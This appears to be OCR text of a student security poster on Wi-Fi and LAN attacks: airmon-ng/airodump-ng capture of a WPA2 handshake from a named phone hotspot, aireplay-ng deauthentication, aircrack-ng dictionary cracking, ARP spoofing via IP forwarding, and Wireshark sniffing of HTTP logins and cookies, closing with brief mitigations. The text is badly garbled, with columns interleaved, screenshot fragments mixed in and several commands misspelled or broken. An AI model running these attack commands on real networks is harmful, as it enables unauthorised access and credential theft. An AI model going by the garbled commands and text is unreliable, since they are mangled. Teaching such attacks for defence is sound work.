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This poster surveys several methods that hackers Using the following commands we can put our NIC A dictionary attack is a password hacking method Figures 1 and 2 show a man-in-the-middle attack
could use to obtain personal information and gain unau- in monitor mode and begin to pick a target: that uses a file containing millions of words, num-  with ARP spoofing to intercept network traffic. The re-
thorized access to private networks. It outlines details >> airmon-ng bers, and combinations of both. After initiating the  sults show a Google Image search of Valdosta State.
and prevention techniques that can be used to protect >> airmon-ng start wlan0 handshake and running our wordlist file against our Commands to spoof the ARP cache:
networks and private information while using the Inter- >> airodump-ng wlan0 victim’s phone, we extracted the password and suc- >> cat /proc/sys/net/ipvd/ip foward

net. The poster demonstrates examples of network pen- We selected the target, the Galaxy Note5, with this cessfully compromised the network connection by is- >> echo 1 >> /proc/sys/net/ipvd/ip foward

etration and information collection. In particular, It command and implement the wordlist file we built: suing the following command: >> cat/proc/sys/net/ipv4/ip_f0Ward
shows how an attacker may use the Wireshark tool to >>airodump-ng --bssid EC:9B:F3:4E:62:6D --channel >>aircrack-ng —b EC:9B:F3:4E:62:6D —a 11 —w /root/

retrieve data that is being sent across a network. The 11 -w /root/Desktop/HackerFile.txt wlan0 Desktop/HackerFile.txt /root/Desktop/wordlist.cap e @ e
poster also demonstrates techniques of gaining access
to a wireless network including the use of, but not lim- e

ited to, dictionary attacks. It discusses how the issues
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FIGURE 1

cont ew Searc p View Searc
loop txqueuelen 1 (Local Loopback) - :~# cat /proc/sys/net/ipvd/ip forward
RX packets 18 bytes 1058 (1.0 KiB)
0 frame © :~# echo 1 >> /proc/sys/net/ipv4/ip forward

TX packets 18 bytes 1058 (1.0 KiB) :~# cat /proc/sys/net/ipv4/ip forward
TX errors © dropped 0 overruns 0@ carrier 8 collisions ©

Aircrack-ng 1.2 rc4 wlan@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1560 _
inet 10.10.42.149 netmask 255.255.192.0 broadcast 10.10.63.255]
inet6 fe80::47f6:2a36:1808:75bc prefixlen 64 scopeid 0x20<link}

[00:00:00] 1/1 keys tested (70.01 k/s)

ether 24:fd:52:cc:62:56 txqueuelen 1000 (Ethernet)
RX packets 28 bytes 8180 (7.9 KiB)

RX errors © dropped © overruns 6 frame 0

TX packets 44 bytes 5352 (5.2 KiB)

Time left: O seconds 100.00%
/B:BA:FY9:95:A8:82 -

can be mitigated after an attacker finds and exploits the i

weakness of the network. The objective of this work is 7a:onFo:ho:0561
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they can be susceptible to while online and connected oiBaE AL |

to a network, and how to protect themselves better. 7816A.F 6E £9.d5
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Every time someone types their username and pass- “GETTING THE HANDSHAKE” TS S—

24:fd:52:cc:62:56

ARP broadcast w1an@: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1560 libnet write link(): only -1 bytes written (Network is down)
7 i S inet 192.168.43.204 netmask 255.255.255.0 broadcast 192.168.4324:fd:52:¢cc:62:56 e0:9d:31:59:9a:c8 0806 42: arp reply 192.168.43.1 is-at
word, they are sending it across the web. When a web- : :
’ runnlng On multlcast inet6 2600:380:a33a:d300:b643:7a87:568¢c:356d prefixlen 64 scoplibnet write link(): only -1 bytes written (Network is down)

The fo”OW|ng COmmand was tested to de_a uthenhcate the Connechon il oxo<global> 24:7d:52:cc:62:56 e0:9d:31:59:9a:c8 0806 42: arp reply 192.168.43.1 is-at

site allows authentication using HTTP only, their creden- e channe gl el
- - i >> -ng -- -b -a EC:IBIF5:4E:62:6D -C /76:BAIFI:35:A3! X Srrors. 0. ropped. suarimmaes Iame ¢ {Sbnat Brisa T1aR0: only -1 bytes written (Network fs down)
tials are vulnerable to password hacking by sniffing. We alrepay-ng -—-deaut g ¢ D e e rophia o orerriay e “1o) er o couzmons VAR 1S R 2e00 42 o ey 152.166.43.1 43t
. . Wlano . it . ibnet write link(): only -1 bytes written (Network is down) ||
used Wireshark to capture packets in our network, fol- " ord o ot y dod 10 d ot ) 7
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- . ARP repl : -id§525cc%;;%géizgﬁb:ﬂzdeﬁz:ﬁd 0806 42: arp reply 192.168.43.55 is-
SpOOﬁng to crack the password of a selected target. adadresses ot the pnone and moblle hot spot against one another en ply : §§§§§§§§§§§%f34eﬁm o Ve ﬁ

the WPA handshake could be successfully established giving us access to the BRI | g ci52iccich 38 omerssansonia anse 422 ar sty 202,108,005 s

Applications v Places v Wireshark v Wed 5:41PM h |. broadcast - fd:52:cc:62:56 ec:9b:f3:4e:62:6d 0806 42: arp reply 192.168.43.55 is- e === RESU LTS
device. We did this with the command shown above I | (622 55 2 o onseronion o000 2 arp remty 192,300,055 - =
e, Td: ECCE 2 ec:9b: :de: :6d : arp reply : - - is- ] -
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help . . bV MAC address ,3 Eégggggggé;ggég:%:f3:4e:62:6d 0806 42: arp reply 192.168.43.55 is-
_ — = _ |Source and Destination IP Address 24:1d:52:cc:62:56 ec:0b:f3:4e:62:6d 0806 42: arp reply 192.168.43.55 is-f  Ldmlr (e =
‘ @ = x CJ q ; ¢ Y, J —l = Y at 24:fd:52:¢cc:62:56
E

tep.streameq 1 *| Expression..  +

No. Time Source Destination ngth Info L
42 8.600078413  10.10.43.139 134.213.82.158 74 43606-80 [SYN] Seq=0 Win=20200 Len=0 MSS=1460 SACK_PERM=1 TSval=. | | CH 11 ][ Elapsed: 3 mins ][ 2016-11-30 17:56 ][ WPA handshake: EC:9B:F3:4E:62:6D
70 8,711866352  134.213.82.158 10.10.43.139 78 80-43606 [SYN, ACK] Seq=0 Ack=1 Win=4140 Len=0 SS=1380 WS=1 TSv..
80 8.711012809  10.10.43,139 134,213.62.158 TCF 66 43606-80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=804862 TSecr=12., BSSID PWR RXQ Beacons #Data, #/s C(H MB ENC CIPHER AUTH ESSID CO N C I_U S I O N 0 N N ETWO R K S EC U R ITY
82 8, 712113338  10.10.43,139 134,213.82, 158 HTTP 752 GET / HTTP/L.1
131 8,833656186  134.213.82,158  10.10,43,139 TCP 1434 [CP segment of a reassenbled POU] EC:9B:F3:4E:62:60  © 69 1751 272 6 11 54e WPA2 CCMP  PSK Galaxy Note5 4678
132 8.833685370  10.10.43,130 134,213.82,158 TCF 66 43606-80 [ACK] Seq=687 Ack=1369 Win=32128 Len=0 TSval=804892 TSe..
IALK] Seq BSSID STATION PWR Rate Lost  Frames Probe

133 §.834862242  134.213.82.158 10.10.43.139 TCP 146 [TCP segment of & reassembled POU]

Our research shows that using public resources (information available on the Internet)
EC:9B:F3:4E:62:6D EO0:9D:31:59:95:4C -43 le- be 0 171 . . . . .
root@kal: - along with a few basic tools and commands how easily network security can be circum-

833 10.10.43.139 134.213.82.158 TCP 66 43606-80 [ACK] Seq=687 Ack=1449 Win=32128 Len=0 TSval=804892 TSe..
10.10.43.139 HTTP 1434 [TCP Previous segment not captured

Wireshark - Follow TCP Stream (tcp.stream eq 1) - wireshark-wlan0.20161109173842_T208AF

ao0 File tdit View Search Terminal Hel . . . .

""" -0s- | Accept: text/htnl,application/xhtml+xnl,application/xnl;q=0.9,"/*;=0.8 ) a connected wireless client (-c <client's mac>). .

}zf 2??5“903 Accept-Langgage: enjl.lEn;n];ci:BE o TrenlonndnAn T v 17:56:46 Sending DeAuth to broadcast -- BSSID: :9B:F3:4E:62:6D) Vented' Keys to prevenhng SUCh attaCkS and haCkS InC|Ude USIng VPNS to prOteCt agaInSt
» Frame 82 752 pytes| Accept-Encoding: gzip, deflate | 17:56:47 Sending DeAuth to broadcast -- BSSID: :9B:F3:4E:62:6D] . . . . . . .
Ethemet 11, Sre:  RETErer: NED:/Aww bikeradar con/forums/ucp ohponedeslogin 17:56:47 Sending DeAuth to broadcast -- BSSID: [EC:9B:F3:4E:62:6D] ARP spoofing, setting a static ARP cache, increasing the complexity of passwords, putting
, E————— Ckrli 5“?2@25{-341FZEEH”“EM phpt_'b-v_oih'-'f_81d=4fff-:~-:~5':035'2oﬂlcccico-vdcc@of4cdio: 17:56:48 Sending DeAuth to broadcast -- BSSID: :9B:F3:4E:62:6D]
» Transmission Control |2 ot 2:109977400L, 1476054143, Dm_month.y_Unique=true, 17:56:48 Sending DeAuth to broadcast -- BSSID: :9B:F3:4E:62:6D) . . . . .
TSSO S0E10 1 et Tttt T-65SHLA2 4 NLIOVFOVAN LV DG gt , 17:36:49 Sending DeAuth to broadcast -- BSSID: [EC:9B:F3:4E:62:6D] in place physical security measures such as locks, and safeguarding personal infor-

70 00 Oc Of 731 BikeRidalrltA:ozlfégfflqéificitltln=r:u:u:|kie%:1_i0ncutlflu:ailu:ug%z?seini bgl_dil?f_uﬂéiugigémr [ 17:56:49 Sending DeAuth to broadcast -- BSSID: :9B:F3:4E:62:6D) Sending the De AUthentication

02 22 99 bg 40 | -Uc_9tn_UA-48008801-1=1; bm_sample_frequency=1; bn_last load_status=NOT_BLOCKING 17:56:50 Sending DeAuth to broadcast -- BSSID: :9B:F3:4E:62:6D X - - o) .

52 9¢ aa 56 gofi Connection: keep-alve 17:56:50 59:101:13 DeAuth to b:'oadcast .- BSSID: :98:F3:dE:62:60} mation. HOwever, we COnC|Ude that there IS NO real 100/0 SeCUI'Ity-

80/e5'80 ec aojfll Content-Type: application/x-ww-forn-urlencoded 17:56:51 Sending DeAuth to broadcast -- BSSID: :9B:F3:4E:62:6D] C d

B 197 B Content-Length: 208 17:56:51 Sending DeAuth to broadcast -- BSSID: [EC:9B:F3:4E:62:6D] omman
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4167 65 e 74 | ROMATTIOTOCTASCOResLCOUCeQoTAIONs (A TTTa%C0N 17:56:52 Sending DeAuth to broadcast -- BSSID: [EC:9B:F3:4E:62:6D] ,

e 30 20 28 5B | T o e 17:56:53 Sending DeAuth broadcast -- BSSID: :9B:F3:4E:62:6D] ]

TR 17:56:53 Sending DeAuth broadcast -- BSSID: :9B:F3:4E:62:6D]

476563 60 Of | n I oy 2016 22:30:08 CHT 17:56:54 Sending DeAuth to broadcast -- BSSID: :9B:F3:4E:62:6D)

DR A ansfer-Encoding: chunked : : 17:56:55 Sending DeAuth to broadcast -- BSSID: :9B:F3:4E:62:6D) —
@ 7 wireshark-wlan0-2{ connection: keep-alive - Dropped: 0 (0.0%)  Profile: Default i SECURITY




